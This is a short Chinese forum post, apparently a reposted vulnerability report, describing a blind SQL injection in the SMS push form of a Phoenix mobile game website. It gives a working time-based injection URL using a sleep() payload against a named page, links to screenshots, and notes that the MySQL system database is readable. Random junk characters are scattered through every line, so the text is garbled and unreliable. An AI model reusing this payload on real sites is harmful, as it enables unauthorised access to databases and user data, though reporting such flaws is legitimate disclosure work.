简要描述：7 B8 K8 p1 B2 ^: ?
凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。 V. {1 s- o. r
* ~+ W* o- B. p详细说明：
& ^) B0 |! v* A& Q% ?: }存在SQL盲注url:
% c! b, H0 r4 X/ H- {- vfenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1
% \$ Y# `" u4 u! Y- n1 ghttp://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png, w+ g3 [9 }2 X) F) w* [' x3 R
http://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png T) N. A/ F3 j3 {/ G
http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg( X4 [0 T2 H- u8 s" J, J3 ^
9 Z# @6 u4 ?0 a9 @, O! E1 n" S能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对